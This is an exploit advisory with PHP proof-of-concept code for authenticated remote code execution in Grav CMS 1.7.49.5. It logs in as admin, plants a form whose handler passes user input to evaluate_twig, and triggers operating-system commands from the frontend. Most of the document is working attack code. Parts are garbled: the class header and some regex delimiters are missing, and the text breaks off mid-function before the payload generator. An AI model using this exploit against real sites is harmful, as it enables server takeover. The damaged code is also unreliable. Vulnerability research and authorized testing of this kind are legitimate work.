============================================================================================================================================= | # Title : Grav CMS 1.7.49.5 Sandbox Bypass | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://getgrav.org/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212777/ & CVE-2025-66294, CVE-2025-66301 [+] Summary : This code is a standalone PHP Proof of Concept (PoC) exploit targeting Grav CMS that demonstrates an authenticated Remote Code Execution (RCE) vulnerability caused by a Twig Server-Side Template Injection (SSTI) combined with a sandbox bypass. The exploit requires valid administrative credentials. After authentication, it abuses the Grav Admin Pages feature to create a malicious form page. The form’s processing logic leverages the dangerous evaluate_twig functionality, allowing user-supplied input to be interpreted as Twig code. By chaining this with internal Twig methods, the exploit disables sandbox restrictions and registers system-level function callbacks. Once the malicious form is published, the attacker can trigger code execution from the frontend without further access to the admin panel. The payload execution mechanism supports arbitrary command execution on the underlying operating system (primarily Unix/Linux in this PoC), without relying on file uploads, direct eval, or persistent shell access. Overall, this exploit represents an operational-grade authenticated RCE scenario, highlighting how misconfigured or unsafe template evaluation in CMS platforms can lead to full system compromise. It is suitable for authorized security testing, red team simulations, and defensive research, and clearly illustrates the risks of dynamic template evaluation in web applications. [+] POC : php poc.php baseUrl = rtrim($options['target'] ?? 'http://localhost:80', '/'); $this->username = $options['username'] ?? 'admin'; $this->password = $options['password'] ?? 'admin'; $this->formName = $options['form_name'] ?? 'form-' . $this->randomText(8); $this->timeout = $options['timeout'] ?? 30; $this->verifySSL = $options['verify_ssl'] ?? false; } public static function randomText($length) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $characters[rand(0, strlen($characters) - 1)]; } return $result; } private function httpRequest($method, $url, $data = null, $headers = []) { $fullUrl = $this->baseUrl . $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $fullUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verifySSL); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, $this->verifySSL ? 2 : 0); // Handle cookies if (!empty($this->cookies)) { $cookieString = ''; foreach ($this->cookies as $name => $value) { $cookieString .= $name . '=' . $value . '; '; } curl_setopt($ch, CURLOPT_COOKIE, rtrim($cookieString, '; ')); } // Save cookies curl_setopt($ch, CURLOPT_HEADERFUNCTION, [$this, 'handleResponseHeaders']); // Set method and data if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); if ($data) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } } elseif ($method === 'GET') { curl_setopt($ch, CURLOPT_HTTPGET, true); } // Add custom headers if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { throw new Exception("cURL error: " . $error); } return [ 'code' => $httpCode, 'body' => $response, 'headers' => $this->lastHeaders ]; } private function handleResponseHeaders($ch, $header) { if (preg_match('/^Set-Cookie:\s*([^=]+)=([^;]+)/i', $header, $matches)) { $this->cookies[$matches[1]] = $matches[2]; } $this->lastHeaders[] = $header; return strlen($header); } private function extractValue($html, $pattern, $default = null) { if (preg_match($pattern, $html, $matches)) { return html_entity_decode($matches[1], ENT_QUOTES | ENT_HTML5); } return $default; } public function check() { echo "[*] Checking target {$this->baseUrl}...\n"; try { $response = $this->httpRequest('GET', '/admin'); $html = $response['body']; // Check if it's Grav CMS if (strpos($html, 'data-grav') !== false || strpos($html, 'grav-version') !== false || strpos($html, 'Grav CMS') !== false || strpos($html, '/user/plugins/admin/') !== false) { echo "[+] Target appears to be Grav CMS\n"; // Try to extract version if (preg_match('/grav-version[^>]*>([^<]+)', $html, $matches)) { $version = trim($matches[1]); echo "[+] Detected Grav CMS version: {$version}\n"; // Check if vulnerable (pre 1.8.0.beta.27) $cleanVersion = preg_replace('/[^\d\.]/', '', $version); if (version_compare($cleanVersion, '1.8.0', '<')) { echo "[+] Target is likely VULNERABLE!\n"; return true; } else { echo "[+] Version check inconclusive - trying exploit anyway\n"; return true; } } else { echo "[+] Could not detect version - trying exploit anyway\n"; return true; } } else { echo "[-] Target doesn't appear to be Grav CMS\n"; return false; } } catch (Exception $e) { echo "[-] Error checking target: " . $e->getMessage() . "\n"; return false; } } public function exploit($command = 'id') { echo "\n[*] Starting exploit...\n"; $this->formFolder = $this->formName; $this->formNameVar = 'exploit-' . strtolower(self::randomText(8)); echo "[*] Using form folder: {$this->formFolder}\n"; echo "[*] Using form name: {$this->formNameVar}\n"; try { if (!$this->login()) { echo "[-] Login failed\n"; return false; } if (!$this->fetchAdminNonce()) { echo "[-] Failed to fetch admin nonce\n"; return false; } if (!$this->createFormPage()) { echo "[-] Failed to create form page\n"; return false; } if (!$this->saveFormWithPayload()) { echo "[-] Failed to save form with payload\n"; return false; } if (!$this->fetchFrontendNonces()) { echo "[-] Failed to fetch frontend nonces\n"; return false; } $result = $this->executePayload($command); if ($result !== false) { echo "\n[+] Exploit completed successfully!\n"; echo "[+] Command output:\n{$result}\n"; return true; } else { echo "[-] Payload execution failed\n"; return false; } } catch (Exception $e) { echo "[-] Error during exploit: " . $e->getMessage() . "\n"; return false; } } private function login() { echo "\n[*] Authenticating as {$this->username}...\n"; try { // First get the login page to extract nonce $response = $this->httpRequest('GET', '/admin'); $html = $response['body']; // Extract login nonce $loginNonce = $this->extractValue($html, '/name="login-nonce" value="([^"]+)"/'); if (!$loginNonce) { // Check if already logged in if (strpos($html, 'grav-version') !== false || strpos($html, 'Dashboard') !== false) { echo "[+] Already authenticated\n"; return true; } echo "[-] Could not find login nonce\n"; return false; } echo "[+] Extracted login nonce: {$loginNonce}\n"; // Attempt login $postData = http_build_query([ 'data[username]' => $this->username, 'data[password]' => $this->password, 'task' => 'login', 'login-nonce' => $loginNonce ]); $response = $this->httpRequest('POST', '/admin', $postData, [ 'Content-Type: application/x-www-form-urlencoded' ]); // Check if login was successful $html = $response['body']; if (strpos($html, 'grav-version') !== false || strpos($html, 'Dashboard') !== false || $response['code'] == 302 || $response['code'] == 303) { echo "[+] Login successful\n"; return true; } else { echo "[-] Login failed - check credentials\n"; return false; } } catch (Exception $e) { echo "[-] Login error: " . $e->getMessage() . "\n"; return false; } } private function fetchAdminNonce() { echo "\n[*] Fetching admin nonce...\n"; try { $response = $this->httpRequest('GET', '/admin/pages'); $html = $response['body']; $this->adminNonce = $this->extractValue($html, '/name="admin-nonce" value="([^"]+)"/'); if (!$this->adminNonce) { echo "[-] Could not find admin nonce\n"; return false; } echo "[+] Admin nonce: {$this->adminNonce}\n"; return true; } catch (Exception $e) { echo "[-] Error fetching admin nonce: " . $e->getMessage() . "\n"; return false; } } private function createFormPage() { echo "\n[*] Creating malicious form page...\n"; try { $postData = http_build_query([ 'data[title]' => 'Contact Form', 'data[folder]' => $this->formFolder, 'data[route]' => '', 'data[name]' => 'form', 'data[visible]' => '', 'data[blueprint]' => '', 'task' => 'continue', 'admin-nonce' => $this->adminNonce ]); $response = $this->httpRequest('POST', '/admin/pages', $postData, [ 'Content-Type: application/x-www-form-urlencoded' ]); $html = $response['body']; // Extract form nonces $this->formNonce = $this->extractValue($html, '/name="form-nonce" value="([^"]+)"/'); $this->uniqueFormId = $this->extractValue($html, '/name="__unique_form_id__" value="([^"]+)"/'); if (!$this->formNonce || !$this->uniqueFormId) { echo "[-] Could not extract form nonces\n"; return false; } echo "[+] Form nonce: {$this->formNonce}\n"; echo "[+] Unique form ID: {$this->uniqueFormId}\n"; return true; } catch (Exception $e) { echo "[-] Error creating form page: " . $e->getMessage() . "\n"; return false; } } private function saveFormWithPayload() { echo "\n[*] Saving form with payload...\n"; try { $formPayload = $this->formPayloadJson(); $postData = http_build_query([ 'task' => 'save', 'data[header][title]' => 'Contact Form', 'data[content]' => 'Please submit the form', 'data[folder]' => $this->formFolder, 'data[route]' => '', 'data[name]' => 'form', 'data[_json][header][form]' => $formPayload, '_post_entries_save' => 'edit', '__form-name__' => 'flex-pages', '__unique_form_id__' => $this->uniqueFormId, 'form-nonce' => $this->formNonce ]); $response = $this->httpRequest('POST', "/admin/pages/{$this->formFolder}/:add", $postData, [ 'Content-Type: application/x-www-form-urlencoded' ]); echo "[+] Form saved successfully (HTTP {$response['code']})\n"; echo "[+] Form payload: " . substr($formPayload, 0, 100) . "...\n"; return in_array($response['code'], [200, 302, 303]); } catch (Exception $e) { echo "[-] Error saving form: " . $e->getMessage() . "\n"; return false; } } private function formPayloadJson() { $payload = [ 'name' => $this->formNameVar, 'fields' => [ 'name' => [ 'type' => 'text', 'label' => 'Name', 'required' => true ] ], 'buttons' => [ 'submit' => [ 'type' => 'submit', 'value' => 'Submit' ] ], 'process' => [ [ 'message' => "{{ evaluate_twig(form.value('name')) }}" ] ] ]; return json_encode($payload); } private function fetchFrontendNonces() { echo "\n[*] Fetching frontend nonces...\n"; try { $response = $this->httpRequest('GET', "/{$this->formFolder}"); $html = $response['body']; $this->frontendNonce = $this->extractValue($html, '/name="form-nonce" value="([^"]+)"/'); $this->frontendUniqueId = $this->extractValue($html, '/name="__unique_form_id__" value="([^"]+)"/'); $this->frontendFormName = $this->extractValue($html, '/name="__form-name__" value="([^"]+)"/', $this->formNameVar); if (!$this->frontendNonce || !$this->frontendUniqueId) { echo "[-] Could not extract frontend nonces\n"; return false; } echo "[+] Frontend nonce: {$this->frontendNonce}\n"; echo "[+] Frontend unique ID: {$this->frontendUniqueId}\n"; echo "[+] Frontend form name: {$this->frontendFormName}\n"; return true; } catch (Exception $e) { echo "[-] Error fetching frontend nonces: " . $e->getMessage() . "\n"; return false; } } private function executePayload($command) { echo "\n[*] Triggering payload execution...\n"; try { $twigPayload = $this->generateTwigPayload($command); echo "[+] Twig payload generated\n"; echo "[+] Executing command: {$command}\n"; $postData = http_build_query([ 'data[name]' => $twigPayload, '__form-name__' => $this->frontendFormName, '__unique_form_id__' => $this->frontendUniqueId, 'form-nonce' => $this->frontendNonce ]); $response = $this->httpRequest('POST', "/{$this->formFolder}", $postData, [ 'Content-Type: application/x-www-form-urlencoded' ]); $html = $response['body']; // Try to extract the result from the response // Look for notice messages or form responses $patterns = [ '/
]*class="[^"]*notice[^"]*"[^>]*>(.*?)<\/p>/si', '/